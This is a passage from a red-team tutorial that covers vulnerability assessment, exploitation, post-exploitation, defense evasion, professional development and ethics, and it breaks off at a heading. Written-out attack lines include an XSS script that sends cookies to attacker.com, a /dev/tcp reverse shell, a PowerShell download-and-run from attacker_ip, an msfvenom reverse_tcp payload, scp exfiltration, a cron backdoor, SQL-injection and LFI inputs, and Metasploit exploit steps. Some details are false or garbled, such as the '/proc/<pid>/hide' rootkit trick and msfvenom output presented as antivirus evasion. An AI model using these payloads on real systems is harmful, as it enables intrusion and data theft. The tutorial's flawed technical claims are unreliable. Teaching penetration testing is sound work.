Automated vulnerability scanners are valuable tools for identifying known vulnerabilities and misconfigurations in target systems. They streamline the vulnerability assessment process, allowing red teamers to efficiently analyze the security posture of the target and prioritize remediation efforts. However, it is important to note that automated scanners may have limitations and should not be the sole method of vulnerability assessment. Manual analysis and testing should also be performed to uncover potential vulnerabilities that may not be detected by automated scanners.
4.2 Manual Vulnerability Assessment
In addition to automated scanning, manual vulnerability assessment techniques play a crucial role in identifying complex or unique vulnerabilities that may not be detected by automated tools. Manual assessment requires a deeper understanding of system architecture, security principles, and hands-on testing. Here are some methods for manual vulnerability assessment:
4.2.1 Manual Web Application Testing
Manual testing of web applications allows for the identification of vulnerabilities that may not be detected by automated scanners. It involves hands-on techniques such as injection attacks, cross-site scripting (XSS), security misconfigurations, and business logic flaws. By actively interacting with the web application, red teamers can uncover vulnerabilities that require human intervention to exploit.
- Online Resource:OWASP Testing Guide
4.2.2 Configuration Review
Reviewing system configurations is an important step in vulnerability assessment. It involves analyzing the configuration settings of operating systems, applications, and network devices to identify misconfigurations that can lead to security vulnerabilities. Common areas of focus include password policies, access controls, encryption settings, and logging configurations.
- Online Resource:CIS Benchmarks
4.2.3 Manual Network Scanning and Enumeration
Manual network scanning and enumeration techniques go beyond automated port scanning to uncover additional vulnerabilities and gain a deeper understanding of the target network. Tools like Nmap, combined with custom scripts, can be used to identify open ports, services, and potential vulnerabilities. Manual scanning allows for more granular control and customization of scan parameters, enabling red teamers to uncover hidden or non-standard services.
- Command Line Example:
<span class="hljs-comment"># Perform a comprehensive Nmap scan</span>
<span class="hljs-variable">$ </span>nmap -p- -sV -sC -oA output_file target_ip
- Online Resource:Nmap Documentation
Manual vulnerability assessment techniques provide a deeper level of insight into the security posture of the target system. They require expertise and hands-on testing to identify vulnerabilities that may not be easily detectable through automated means. By combining automated scanning with manual assessment, red teamers can uncover a broader range of vulnerabilities and provide more comprehensive recommendations for remediation.
Thorough documentation and reporting of vulnerabilities are essential for effective communication and remediation. Properly documenting identified vulnerabilities ensures that all relevant information is captured and can be used to prioritize and address the identified security issues. Additionally, generating comprehensive vulnerability assessment reports provides a clear understanding of the security posture and helps stakeholders make informed decisions. Here are some key considerations for documentation and reporting:
4.3.1 Information to Include in the Documentation:
When documenting vulnerabilities, ensure that the following information is captured:
- Vulnerability Details: Include the vulnerability name, severity level, and Common Vulnerability Scoring System (CVSS) score, if available. This information helps stakeholders assess the impact and prioritize remediation efforts.
- Technical Description and Impact: Provide a detailed technical description of the vulnerability, including its root cause, affected components, and potential impact on the target system. This information helps stakeholders understand the nature and potential consequences of the vulnerability.
- Steps to Reproduce: Document the steps taken to reproduce the vulnerability. This information is important for validating and verifying the vulnerability during the remediation process and can aid developers or system administrators in understanding the specific conditions required for exploitation.
- Recommended Mitigation Strategies: Offer clear and actionable mitigation strategies or remediation steps to address the identified vulnerabilities. Include recommendations for implementing patches, configuration changes, or other security controls. These recommendations should be practical and prioritized based on the severity and potential impact of the vulnerabilities.
4.3.2 Vulnerability Assessment Report:
Generate a comprehensive vulnerability assessment report to consolidate and present the documented vulnerabilities. The report should be well-structured and provide a clear overview of the security posture. Consider including the following sections:
- Executive Summary: Provide a high-level overview of the assessment, including key findings, prioritized vulnerabilities, and recommended actions. This section is intended for non-technical stakeholders and should highlight the most critical issues and their potential business impact.
- Methodology: Explain the assessment methodology, including the techniques, tools, and processes used during the assessment. This section helps stakeholders understand the approach and scope of the assessment.
- Vulnerability Details: Present detailed information about each identified vulnerability, including its name, severity, technical description, and impact. Include any relevant evidence or proof-of-concept (POC) examples to support the findings.
- Recommendations: Offer clear and concise recommendations for addressing the identified vulnerabilities. Provide step-by-step instructions or guidelines for implementing the recommended mitigation strategies.
- Risk Assessment: Assess the overall risk level posed by the identified vulnerabilities and prioritize them based on their severity and potential impact. This section helps stakeholders understand the relative importance and urgency of each vulnerability.
- Conclusion: Summarize the key findings, reiterate the recommended actions, and emphasize the importance of addressing the identified vulnerabilities.
By following meticulous documentation and reporting practices, you provide actionable information to the relevant stakeholders and facilitate the resolution of identified vulnerabilities. Clear and comprehensive documentation promotes effective communication, enables informed decision-making, and helps drive the remediation process.
Exploitation is a critical phase in red team engagements, where vulnerabilities are leveraged to gain unauthorized access or control over a target system. This section explores various techniques and tools for achieving exploitation.
Web applications often present a significant attack surface and can be exploited through various techniques. Attackers leverage vulnerabilities in web applications to gain unauthorized access, steal sensitive information, or execute arbitrary commands. It is crucial to understand these techniques to identify and mitigate potential vulnerabilities. Here are some common and creative ways to achieve web application exploitation:
5.1.1 SQL Injection:
SQL injection is a technique where malicious SQL statements are inserted into an application's database query, allowing unauthorized access to the database or execution of arbitrary commands. By manipulating input fields that interact with the application's database, an attacker can modify the SQL queries to achieve unintended behavior.
Example: Consider a login form vulnerable to SQL injection:
Username: admin<span class="hljs-comment">' OR '1'='1</span>
Password: any_password
In this example, the attacker enters a username that ends the existing query with OR '1'='1, which always evaluates to true. As a result, the application may grant access to the attacker, bypassing the authentication process.
Online Resource: OWASP SQL Injection Prevention Cheat Sheet
5.1.2 Cross-Site Scripting (XSS):
Cross-Site Scripting (XSS) involves injecting malicious scripts into web pages viewed by other users, enabling attackers to steal sensitive information or perform actions on behalf of the victim. XSS vulnerabilities typically occur when untrusted user input is not properly sanitized or validated before being displayed on a web page.
Example: Injecting a script that steals user cookies:
<span class="hljs-tag"><<span class="hljs-title">script</span>></span><span class="javascript"><span class="hljs-built_in">document</span>.location=<span class="hljs-string">'http://attacker.com/steal.php?cookie='</span>+<span class="hljs-built_in">document</span>.cookie;</span><span class="hljs-tag"></<span class="hljs-title">script</span>></span>
When this script is executed by a victim's browser, it sends the user's cookies to the attacker's server, potentially compromising the victim's session.
Online Resource: OWASP XSS Prevention Cheat Sheet
5.1.3 File Inclusion Exploitation:
File inclusion vulnerabilities allow an attacker to include arbitrary files on a server, leading to unauthorized access, remote code execution, or sensitive information disclosure. These vulnerabilities typically occur when an application includes files based on user-supplied input without proper validation or sanitization.
Example: Exploiting a local file inclusion vulnerability to read sensitive files:
http://target.com/?page=../../../../etc/passwd
In this example, the attacker manipulates the page parameter by traversing directory structures to access the /etc/passwd file, which contains sensitive system information.
Online Resource: OWASP Local File Inclusion Prevention Cheat Sheet
Understanding these web application exploitation techniques helps in identifying and securing vulnerabilities in web applications. It is crucial to implement secure coding practices, input validation, and output encoding to mitigate these vulnerabilities and ensure the overall security of web applications.
Network exploitation involves leveraging vulnerabilities in network services and protocols to gain unauthorized access or control over a target system. Attackers exploit weaknesses in network configurations, protocols, or services to compromise systems and extract sensitive information. Understanding these techniques is essential for identifying and securing potential vulnerabilities. Here are some common and creative ways to achieve network exploitation:
5.2.1 Remote Code Execution (RCE):
Remote Code Execution (RCE) vulnerabilities allow an attacker to execute arbitrary code on a target system remotely. These vulnerabilities often occur due to security flaws in web applications or network services. By exploiting RCE vulnerabilities, attackers can gain unauthorized access and control over a targeted system.
Example: Exploiting an RCE vulnerability in a vulnerable version of Apache Struts:
<span class="hljs-variable">$ </span>curl -<span class="hljs-constant">X</span> <span class="hljs-constant">POST</span> -d <span class="hljs-string">'command=whoami'</span> <span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/target.com/struts</span>_vuln.action
In this example, the attacker sends a crafted request containing a command to execute arbitrary code on the target system through a vulnerable Apache Struts application.
Online Resource: Metasploit Unleashed - Exploit Development
5.2.2 Exploiting Weak Network Services:
Weak network services, such as outdated versions of SSH, FTP, or SMB, can be exploited using known vulnerabilities or brute-force attacks. Attackers target these services to gain unauthorized access to systems or extract sensitive data.
Example: Exploiting a vulnerable version of FTP with Metasploit:
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS target_ip
run
In this example, the attacker utilizes a specific exploit module in Metasploit to target a known vulnerability in a vulnerable FTP service, gaining unauthorized access to the target system.
Online Resource: Metasploit Framework Documentation
5.2.3 Man-in-the-Middle (MitM) Attacks:
Man-in-the-Middle (MitM) attacks involve intercepting and altering network traffic between a target system and its intended destination. Attackers can capture sensitive information, inject malicious content, or manipulate communication between systems.
Example: Performing a MitM attack using Ettercap:
ettercap -T -q -M arp:remote /target_ip/ /gateway_ip/
In this example, the attacker uses Ettercap, a network interception tool, to perform an ARP poisoning attack. This allows the attacker to redirect traffic between the target system and the gateway, enabling the interception and manipulation of network communication.
Online Resource: Bettercap Documentation
Understanding network exploitation techniques helps in identifying and mitigating vulnerabilities in network services and configurations. Implementing strong security measures, keeping network services up to date, and monitoring network traffic can help protect against these types of attacks.
Once exploitation is achieved, post-exploitation techniques come into play. These techniques enable red teamers to maintain access, gather additional information, and escalate privileges within the compromised system. Post-exploitation is a critical phase that allows for deeper exploration and control of the target environment. Here are some common post-exploitation techniques:
5.3.1 Privilege Escalation:
Privilege escalation involves elevating user privileges on a compromised system to gain administrative or root access. By escalating privileges, attackers can overcome limitations and gain higher levels of control over the compromised system. This enables them to access sensitive data, execute additional commands, and manipulate the system.
Example: Checking for common privilege escalation vulnerabilities using LinEnum:
$ ./LinEnum.sh -e /tmp/output
In this example, the attacker utilizes the LinEnum script to identify potential privilege escalation vulnerabilities in the compromised system. LinEnum provides an automated approach to gather information about the system's configuration, processes, and user permissions.
Online Resource: GTFOBins - GTFO Techniques
5.3.2 Lateral Movement:
Lateral movement refers to the process of expanding access within a network by compromising additional systems. Once a foothold is gained, attackers leverage techniques like pass-the-hash, lateral exploitation, or pivoting to move laterally across the network. This enables them to explore and compromise other systems within the network environment.
Example: Using Metasploit's psexec module for lateral movement:
msfconsole
use exploit/windows/smb/psexec
set RHOST target_ip
set SMBUser username
set SMBPass password
run
In this example, the attacker utilizes Metasploit's psexec module to exploit a vulnerability in the SMB service and gain unauthorized access to a remote Windows system. This technique allows the attacker to execute commands on the compromised system and potentially move laterally within the network.
Online Resource: Metasploit Unleashed - Pivoting
5.3.3 Data Exfiltration:
Data exfiltration involves transferring sensitive data from a compromised system to an attacker-controlled location. Attackers employ various techniques such as covert channels, encrypted tunnels, or steganography to conceal and transmit the data. Data exfiltration can occur through network channels, removable media, or even through manipulating legitimate communication channels.
Example: Exfiltrating data using the scp command:
$ scp sensitive_file.txt <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="a8c9dcdcc9cbc3cddae8cdd0c9c5d8c4cd86cbc7c5">[email protected]</a>:<span class="hljs-regexp">/path/</span>on/attacker/server
In this example, the attacker uses the scp command to securely copy a sensitive file from the compromised system to an attacker-controlled server. The file is transferred over an encrypted SSH connection, minimizing the chances of detection.
Online Resource: OWASP Data Exfiltration Cheat Sheet
By utilizing these post-exploitation techniques, red teamers can maximize their impact and achieve their penetration testing objectives. It is crucial to understand these techniques to ensure the identification of vulnerabilities, the exploration of compromised systems, and the assessment of potential risks.
Post-exploitation is a crucial phase in red team engagements, where the focus shifts from gaining initial access to maintaining control, gathering information, and escalating privileges within the compromised system. This section explores various post-exploitation techniques and best practices.
Maintaining access is a critical aspect of post-exploitation activities. It ensures persistence within a compromised system, allowing attackers to retain control and access even after the initial exploitation. Here are some common techniques used to maintain access:
6.1.1 Backdoors and Shells:
Deploying backdoors or shells provides remote access to the compromised system, enabling attackers to regain control and execute commands at a later time. These backdoors or shells can be created using various tools and techniques, such as reverse shells or web shells.
Example: Generating a reverse shell using Netcat:
Attacker: nc -nvlp <span class="hljs-number">4444</span>
Target: <span class="hljs-regexp">/bin/</span>bash -i >& <span class="hljs-regexp">/dev/</span>tcp/attacker_ip/<span class="hljs-number">4444</span> <span class="hljs-number">0</span>>&<span class="hljs-number">1</span>
In this example, the attacker sets up a Netcat listener on the specified IP address and port. The target system executes a command that establishes a reverse shell connection to the attacker's machine. This allows the attacker to interact with the compromised system remotely.
Online Resource: Penetration Testing Execution Standard (PTES) - Post Exploitation
6.1.2 Persistence Mechanisms:
Establishing persistence mechanisms ensures that the compromised system retains the ability to be accessed even after reboots or system updates. Attackers employ various techniques to achieve persistence, such as modifying startup scripts, creating scheduled tasks, or leveraging rootkits. These mechanisms ensure that the attacker can regain access to the compromised system automatically.
Example: Adding a persistent cron job:
$ crontab -e
Add the following line:
@reboot /usr/local/bin/backdoor.sh
In this example, the attacker modifies the cron table to include a command that executes a backdoor script upon system reboot. The backdoor script will be automatically launched each time the system starts up, ensuring persistent access for the attacker.
Online Resource: OWASP Web Application Security Testing Cheat Sheet - Backdoors and Command Injection
By implementing these techniques, attackers can maintain their presence within a compromised system, allowing for continued control, data exfiltration, and further exploration of the target environment. It is important for security professionals to be aware of these techniques to detect and mitigate unauthorized access effectively.
Information gathering post-exploitation helps attackers gain a deeper understanding of the compromised system and the overall network. By collecting detailed information about the system and network infrastructure, attackers can identify valuable data, potential vulnerabilities, and avenues for further exploration. Here are some techniques and tools for gathering information:
6.2.1 System Enumeration:
System enumeration involves collecting detailed information about the compromised system, including the operating system version, running processes, installed applications, and network configuration. This information helps attackers understand the system's environment and potential vulnerabilities.
Example: Gathering system information using the systeminfo command on Windows:
C:\> systeminfo
In this example, the attacker executes the systeminfo command on a compromised Windows system to retrieve detailed information about the system's configuration.
Online Resource: Windows Command Line - System Information
6.2.2 Network Enumeration:
Network enumeration focuses on gathering information about the network infrastructure, including IP addresses, active hosts, network shares, and user accounts. This information helps attackers identify potential targets, network services, and possible avenues for lateral movement.
Example: Enumerating network information using the ifconfig and arp commands on Linux:
<span class="hljs-variable">$ </span>ifconfig
<span class="hljs-variable">$ </span>arp -a
In this example, the attacker uses the ifconfig command to view network interface information and the arp command to list ARP entries and associated IP addresses.
Online Resource: Linux Command Line - Network Commands
6.2.3 File System Exploration:
Exploring the compromised system's file system helps attackers identify valuable data, configuration files, log files, and potential areas for further exploration or privilege escalation. This information can be leveraged to gain access to sensitive information or escalate privileges within the system.
Example: Listing files and directories using the ls command on Linux:
$ ls -l
In this example, the attacker uses the ls command with the -l option to list files and directories in a detailed format, providing information about permissions, ownership, file size, and modification time.
Online Resource: Linux Command Line - File and Directory Operations
6.2.4 LinPEAS (Linux Privilege Escalation Audit Script):
LinPEAS is a widely used tool for performing privilege escalation audits on Linux systems. It automates the process of gathering information about the compromised system and helps identify potential privilege escalation vectors.
Example: Running LinPEAS script on a compromised Linux system:
$ ./linpeas.sh
In this example, the attacker executes the LinPEAS script, which performs a comprehensive audit of the Linux system, searching for potential privilege escalation opportunities, misconfigurations, and other security issues.
Online Resource: LinPEAS GitHub Repository
By utilizing these information gathering techniques and tools, attackers can gain valuable insights into the compromised system and network environment, enabling them to plan further actions and exploit vulnerabilities effectively. It is essential for defenders to be aware of these techniques to detect and mitigate unauthorized access promptly.
Privilege escalation is the process of obtaining higher levels of access within a compromised system, potentially granting administrative or root privileges. By escalating privileges, attackers can gain complete control over the system and access sensitive resources. Here are some techniques and tools for privilege escalation:
6.3.1 Kernel Exploitation:
Kernel exploits target vulnerabilities in the operating system's kernel to gain elevated privileges. These vulnerabilities can be leveraged to escalate privileges and gain complete control over the system.
Example: Exploiting a vulnerable kernel using the Dirty COW exploit:
$ gcc -pthread dirtycow.c -o dirtycow
$ ./dirtycow
In this example, the attacker compiles and executes the Dirty COW exploit to escalate privileges by exploiting a vulnerability in the Linux kernel.
Online Resource: Dirty COW - Privilege Escalation
6.3.2 Misconfigured File Permissions:
Misconfigured file permissions can provide an opportunity for privilege escalation. By identifying files or directories with incorrect permissions, attackers can gain access to sensitive system files or escalate privileges.
Example: Checking for world-writable files using the find command on Linux:
$ find / -perm -<span class="hljs-number">2</span> -<span class="hljs-built_in">type</span> f
In this example, the attacker uses the find command to search for files with the permission -perm -2 (world-writable) and -type f (regular files), which could potentially lead to privilege escalation.
Online Resource: GTFOBins - GTFO Techniques
6.3.3 Exploiting Weak Service Configurations:
Weak service configurations, such as misconfigured sudo rules or vulnerable service configurations, can be exploited to escalate privileges within the system.
Example: Exploiting a misconfigured sudo rule to gain root access:
<span class="hljs-variable">$ </span>sudo -u<span class="hljs-comment">#-1 /bin/bash</span>
In this example, the attacker uses a misconfigured sudo rule to run the /bin/bash shell as the root user (-u#-1), effectively escalating privileges.
Online Resource: Sudo Project - Sudoers Manual
By understanding and utilizing these post-exploitation techniques, attackers can maintain access, gather critical information, and escalate privileges within compromised systems effectively. It is crucial for defenders to be aware of these techniques and implement security measures to prevent unauthorized privilege escalation.
Documentation and reporting are critical aspects of a red team engagement. They provide a comprehensive record of the testing process, findings, and recommendations for the target organization. Clear and detailed documentation ensures that stakeholders can understand the security posture and make informed decisions regarding remediation and risk mitigation.
Follow these best practices for effective documentation throughout the red team engagement:
7.1.1 Document the Scope and Rules of Engagement:
- Clearly define and document the scope of the engagement, including the systems, networks, and applications that are within the authorized testing boundaries. Document the agreed-upon rules of engagement, including limitations and restrictions.
7.1.2 Maintain an Up-to-Date Inventory:
- Create and maintain an inventory of all systems, networks, and applications that are targeted during the engagement. Include relevant information such as IP addresses, hostnames, operating systems, and versions.
7.1.3 Document Methodologies and Techniques:
- Document the methodologies, techniques, and tools used during the engagement. Include detailed explanations, step-by-step procedures, and any modifications made to existing tools or scripts.
7.1.4 Record Findings and Vulnerabilities:
- Record all identified vulnerabilities, including their descriptions, impact levels, and severity ratings. Include any relevant evidence, such as screenshots, network captures, or log files, to support the findings.
7.1.5 Document Exploitation Techniques:
- Document the specific techniques and tools used for exploitation, including command-line examples, sample output, and any customization made to the tools. Explain the rationale behind the chosen techniques and the potential impact on the target system.
7.1.6 Log Activities and Progress:
- Maintain a detailed log of activities performed during the engagement, including timestamps, commands executed, and results obtained. This log will aid in tracking progress, troubleshooting issues, and providing an audit trail.
7.1.7 Document Post-Exploitation Actions:
- Document any actions taken during the post-exploitation phase, such as privilege escalation, lateral movement, or data exfiltration. Include detailed explanations, commands executed, and outcomes.
7.1.8 Include Recommendations and Mitigation Strategies:
- Provide actionable recommendations and mitigation strategies for each identified vulnerability. Explain the potential risks associated with the vulnerabilities and suggest specific steps to remediate or mitigate them.
When preparing the final report, adhere to these guidelines to ensure clarity, accuracy, and effectiveness:
7.2.1 Executive Summary:
- Begin the report with an executive summary that provides a high-level overview of the engagement, key findings, and recommendations. Keep it concise and focus on the most critical issues.
7.2.2 Scope and Methodology:
- Clearly outline the scope of the engagement, including the systems and networks tested, as well as the methodologies and techniques employed. Describe any limitations or constraints that may have influenced the testing.
7.2.3 Detailed Findings:
- Provide a detailed breakdown of each identified vulnerability, including its description, impact level, severity rating, and potential exploitability. Include relevant evidence, such as screenshots or logs, to support the findings.
7.2.4 Risk Assessment:
- Assess the overall risk associated with the identified vulnerabilities. Consider factors such as the likelihood of exploitation, potential impact, and any existing compensating controls. Present the risk assessment using a standardized rating system, such as CVSS (Common Vulnerability Scoring System).
7.2.5 Recommendations:
- Offer clear and actionable recommendations for each identified vulnerability. Prioritize the recommendations based on their potential impact and feasibility of implementation. Provide detailed steps and resources to help the target organization address the vulnerabilities.
7.2.6 Executive Summary for Technical Audience:
- Provide a summarized version of the report's findings and recommendations specifically tailored for technical stakeholders. This section should include technical details, exploit scenarios, and suggested mitigation techniques.
7.2.7 Appendices and Supporting Material:
- Include relevant supporting material in appendices, such as network diagrams, configuration files, scripts used during the engagement, or additional technical documentation. These resources aid in the understanding and implementation of the recommendations.
Effective collaboration and communication with stakeholders are essential for a successful red team engagement. Consider the following guidelines:
7.3.1 Regular Status Updates:
- Provide regular status updates to stakeholders, including progress made, findings, and any challenges encountered. Keep stakeholders informed throughout the engagement to maintain transparency and manage expectations.
7.3.2 Tailor Communication to the Audience:
- Adapt the level of technical detail and language used in communication to suit the target audience. Technical stakeholders may require in-depth explanations, while executive stakeholders may require a higher-level overview.
7.3.3 Conduct Debriefing Sessions:
- Schedule debriefing sessions with stakeholders to discuss the findings, recommendations, and any additional insights gained during the engagement. These sessions allow for further clarification, addressing questions, and discussing potential next steps.
7.3.4 Maintain Confidentiality and Data Protection:
- Ensure that all documentation, reports, and communication regarding the engagement adhere to confidentiality and data protection requirements. Follow the agreed-upon procedures for handling sensitive information and restrict access to authorized personnel only.
By following these documentation and reporting best practices, red teamers can provide comprehensive, accurate, and actionable reports that effectively communicate the findings and recommendations to stakeholders.
Defense evasion techniques aim to bypass or circumvent security controls, while countermeasures help organizations mitigate the impact of such evasion. This section explores various defense evasion techniques and corresponding countermeasures.
8.1.1 Encryption and Obfuscation:
Reason: Encryption and obfuscation techniques are used to conceal malicious payloads, command and control (C2) communications, or exploit code from detection.
Example: Encrypting a payload using OpenSSL:
$ openssl enc -aes-<span class="hljs-number">256</span>-cbc -salt -<span class="hljs-keyword">in</span> payload.txt -<span class="hljs-keyword">out</span> encrypted_payload.txt
Countermeasure: Implement network traffic monitoring and analysis tools capable of identifying encrypted or obfuscated traffic patterns. Employ advanced threat detection solutions that can analyze encrypted traffic without decrypting it.
8.1.2 Anti-Virus Evasion:
Reason: Anti-virus evasion techniques help avoid detection by traditional anti-virus software and other security controls.
Example: Modifying a payload to evade signature-based detection:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o evasive_payload.exe
Countermeasure: Utilize behavior-based anti-malware solutions that can detect and block malicious activities based on their behavior, rather than relying solely on signature-based detection.
8.1.3 Fileless Malware:
Reason: Fileless malware resides in memory, leaving no traces on disk and evading traditional file-based detection mechanisms.
Example: Running PowerShell commands directly in memory:
powershell.exe -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker_ip/malicious_script')"
Countermeasure: Implement application control solutions that restrict the execution of scripting engines, monitor PowerShell usage, and detect suspicious memory-based activities.
8.1.4 Rootkit Techniques:
Reason: Rootkit techniques manipulate the operating system to hide the presence of malicious activities and maintain persistence.
Example: Hiding a process using the rootkit technique:
$ echo "my_process" > /proc/<pid>/hide
Countermeasure: Regularly update and patch operating systems and applications to prevent known vulnerabilities that rootkits exploit. Employ integrity checking mechanisms and security tools capable of detecting rootkit-like behavior.
8.1.5 Domain Generation Algorithms (DGAs):
Reason: DGAs generate domain names dynamically, making it challenging to block or blacklist C2 communications.
Example: Generating a list of domain names using a DGA algorithm:
$ python dga_generator.py -date 20230525
Countermeasure: Implement DNS monitoring and anomaly detection systems that can identify unusual or suspicious domain name generation patterns. Employ threat intelligence feeds to identify known malicious domains associated with DGAs.
8.2.1 Network Traffic Monitoring:
Reason: Comprehensive network traffic monitoring allows for the detection of anomalous activities, encrypted communications, and communication with suspicious or malicious domains.
Example: Using Wireshark to capture and analyze network traffic:
<span class="hljs-variable">$ </span>wireshark
Countermeasure: Employ network intrusion detection and prevention systems (IDS/IPS) that can analyze network traffic in real-time, detect anomalies, and block suspicious communications.
8.2.2 Endpoint Protection and Response:
Reason: Endpoint protection and response solutions offer real-time monitoring, behavior-based threat detection, and incident response capabilities on individual endpoints.
Example: Configuring an endpoint protection agent:
<span class="hljs-variable">$ </span>sudo apt-get install endpoint-protection-agent
<span class="hljs-variable">$ </span>endpoint-protection-agent configure
Countermeasure: Implement endpoint protection solutions that employ machine learning, behavior analysis, and threat intelligence to identify and respond to malicious activities on endpoints.
8.2.3 User Awareness and Training:
Reason: Educating users about common attack techniques, social engineering, and the importance of adhering to security policies can significantly reduce the effectiveness of defense evasion techniques.
Example: Conducting regular security awareness training sessions for employees.
Countermeasure: Develop a comprehensive security awareness program that includes phishing simulations, training modules, and ongoing communication to reinforce secure behavior.
8.2.4 System Hardening:
Reason: Proper system hardening helps reduce attack surface, limits potential vulnerabilities, and strengthens overall defense capabilities.
Example: Disabling unnecessary services and closing unused ports:
$ systemctl stop <service>
$ systemctl disable <service>
$ ufw deny <port>
Countermeasure: Follow industry best practices for system hardening, such as removing unnecessary software, applying least-privilege principles, and regular patching and updates.
8.2.5 Incident Response and Recovery:
Reason: Establishing an effective incident response plan and implementing robust backup and recovery mechanisms can minimize the impact of successful attacks and facilitate quick recovery.
Example: Developing an incident response playbook outlining step-by-step procedures for different attack scenarios.
Countermeasure: Create an incident response plan that includes clear roles and responsibilities, communication protocols, and procedures for isolating compromised systems and restoring services.
By understanding defense evasion techniques and implementing the appropriate countermeasures, organizations can significantly enhance their security posture and protect against red team attacks.
Continuous learning and professional development are vital for red teamers to stay ahead of evolving threats, enhance their skills, and deliver effective and efficient engagements. This section highlights key areas and strategies for ongoing learning and professional growth in the field of cybersecurity.
9.1.1 Industry News and Publications:
-
Stay updated with the latest cybersecurity news, trends, and research by following reputable sources such as industry publications, blogs, and online forums.
-
Examples of online resources:
- SecurityWeek (https://www.securityweek.com/)
- KrebsOnSecurity (https://krebsonsecurity.com/)
- Reddit - /r/netsec (https://www.reddit.com/r/netsec/)
9.1.2 Security Conferences and Events:
-
Attend cybersecurity conferences, workshops, and events to gain insights from industry experts, participate in hands-on training sessions, and network with fellow professionals.
-
Examples of prominent conferences:
- DEF CON (https://www.defcon.org/)
- Black Hat (https://www.blackhat.com/)
- RSA Conference (https://www.rsaconference.com/)
9.1.3 Webinars and Online Training Platforms:
-
Explore webinars, virtual training sessions, and online platforms that offer courses, tutorials, and hands-on labs on various cybersecurity topics.
-
Examples of online training platforms:
- SANS Institute (https://www.sans.org/)
- Offensive Security (https://www.offensive-security.com/)
- Coursera (https://www.coursera.org/)
9.2.1 Capture The Flag (CTF) Challenges:
-
Participate in Capture The Flag (CTF) challenges to enhance practical skills in areas such as cryptography, web exploitation, reverse engineering, and network analysis.
-
Examples of CTF platforms:
- Hack The Box (https://www.hackthebox.eu/)
- CTFtime (https://ctftime.org/)
- OverTheWire (https://overthewire.org/wargames/)
9.2.2 Vulnerable Systems and Labs:
-
Set up personal labs or use vulnerable systems and intentionally vulnerable applications to practice offensive techniques in a controlled environment.
-
Examples of vulnerable systems:
- Metasploitable (https://sourceforge.net/projects/metasploitable/)
- Damn Vulnerable Web Application (DVWA) (https://dvwa.co.uk/)
9.2.3 Tool Familiarization:
-
Continuously explore and experiment with new tools, frameworks, and technologies relevant to red teaming, and develop proficiency in their usage.
-
Examples of popular tools:
- Metasploit Framework (https://www.metasploit.com/)
- Cobalt Strike (https://www.cobaltstrike.com/)
- Burp Suite (https://portswigger.net/burp)
9.3.1 Offensive Security Certifications:
-
Pursue certifications that validate practical offensive security skills and demonstrate expertise in penetration testing and red teaming.
-
Examples of offensive security certifications:
- Offensive Security Certified Professional (OSCP)
- Offensive Security Certified Expert (OSCE)
- Offensive Security Exploitation Expert (OSEE)
9.3.2 Industry-Recognized Certifications:
-
Consider industry-recognized certifications that cover broader cybersecurity domains and provide a solid foundation for red teaming.
-
Examples of industry-recognized certifications:
- Certified Ethical Hacker (CEH)
- Certified Information Systems Security Professional (CISSP)
- Certified Information Security Manager (CISM)
9.4.1 Engage in Open-Source Projects:
-
Contribute to open-source projects related to cybersecurity, such as vulnerability scanners, penetration testing frameworks, or security tool development.
-
Examples of open-source projects:
- The Metasploit Framework (https://www.metasploit.com/)
- OWASP (https://www.owasp.org/)
9.4.2 Participate in Security Communities:
-
Join online security communities, forums, or social media groups to connect with like-minded professionals, share knowledge, and collaborate on research and projects.
-
Examples of security communities:
- Reddit - /r/netsec (https://www.reddit.com/r/netsec/)
- OWASP Community (https://owasp.org/www-community/)
9.4.3 Mentorship and Knowledge Sharing:
-
Engage in mentorship programs to guide and support aspiring red teamers. Contribute to the community by sharing knowledge through blog posts, conference presentations, or organizing local meetups.
-
Examples of mentorship platforms:
- Hackers Helping Hackers (https://www.hackershelpinghackers.com/)
- Peerlyst (https://www.peerlyst.com/)
9.5.1 Soft Skills Enhancement:
-
Develop and enhance essential soft skills such as communication, critical thinking, problem-solving, and project management, which are crucial for successful red team engagements and client interactions.
-
Examples of soft skills development resources:
- Toastmasters International (https://www.toastmasters.org/)
- Project Management Institute (https://www.pmi.org/)
9.5.2 Continuous Personal Growth:
- Embrace a growth mindset and dedicate time for personal growth, self-reflection, and self-improvement. Explore topics beyond technical domains, such as leadership, psychology, or business management, to broaden your knowledge and perspectives.
By actively pursuing continuous learning and professional development, red teamers can enhance their skills, stay abreast of emerging threats, and contribute to the advancement of the cybersecurity community.
Performing red team engagements requires strict adherence to legal and ethical principles to ensure that activities are conducted responsibly, lawfully, and with integrity. This section outlines the key legal and ethical considerations that red teamers must be aware of and follow throughout their engagements.
10.1.1 Written Consent:
- Obtain written consent from the client or system owner before conducting any red team engagement. Clearly define the scope, objectives, and rules of engagement in a formal agreement or contract.
10.1.2 Rules of Engagement:
- Establish and document the rules of engagement with the client, including the systems to be tested, the timeframe, and any limitations or exclusions.
10.1.3 Authorized Targets Only:
- Limit the engagement to the systems, networks, and applications explicitly authorized by the client. Do not attempt to access or test systems outside the agreed-upon scope.
10.2.1 Laws and Regulations Awareness:
- Familiarize yourself with the relevant laws, regulations, and industry standards that govern cybersecurity and penetration testing in your jurisdiction and the jurisdictions where your engagements take place.
10.2.2 Data Privacy and Protection:
- Respect and protect the privacy of individuals and the confidentiality of their data. Handle sensitive information appropriately and ensure compliance with data protection regulations, such as GDPR or HIPAA.
10.2.3 Intellectual Property Rights:
- Respect intellectual property rights and do not use or reproduce copyrighted materials without proper authorization. Avoid infringing on patents, trademarks, or trade secrets.
10.3.1 Confidentiality Agreements:
- Sign confidentiality agreements with clients or system owners to protect sensitive information obtained during engagements. Safeguard any data collected and limit its disclosure to authorized individuals only.
10.3.2 Non-Disclosure of Findings:
- Do not disclose or share any sensitive information, vulnerabilities, or exploits discovered during the engagement without explicit permission from the client. Exercise discretion when discussing findings internally or externally.
10.4.1 Do No Harm:
- Avoid actions that could cause harm, disrupt services, or compromise the stability of systems under test. Obtain explicit permission before conducting activities that may have a potentially significant impact.
10.4.2 Minimize Impact on Production Systems:
- Take precautions to minimize disruptions to production systems and critical business operations during testing. Coordinate with the client to schedule testing activities during non-critical periods, if possible.
10.5.1 Professionalism and Integrity:
- Maintain a high level of professionalism, honesty, and integrity throughout engagements. Respect client policies, follow instructions, and act in the best interest of the client at all times.
10.5.2 Ethical Reporting:
